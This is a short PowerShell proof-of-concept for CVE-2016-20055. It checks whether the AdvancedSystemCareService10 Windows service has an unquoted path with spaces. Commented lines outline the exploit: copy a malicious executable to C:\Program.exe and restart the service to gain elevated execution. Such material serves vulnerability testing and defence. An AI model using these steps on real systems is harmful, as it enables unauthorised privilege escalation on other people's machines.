CVE-2016-20055

# Check for unquoted service paths (PowerShell) $service = Get-WmiObject -Class Win32_Service -Filter "Name='AdvancedSystemCareService10'" if ($service) { $path = $service.PathName if ($path -notmatch '^"' -and $path -match ' ') { Write-Host "[+] Vulnerable Service Found: $($service.Name)" Write-Host "[+] Path: $path" # Exploit Logic (Conceptual) # 1. Identify the vulnerable segment (e.g., C:\Program.exe) # 2. Copy malicious payload to that location # Copy-Item .\malicious.exe "C:\Program.exe" # 3. Restart service to trigger # Restart-Service -Name $service.Name } else { Write-Host "[-] Service path is quoted or has no spaces." } } else { Write-Host "[-] Service not found." }

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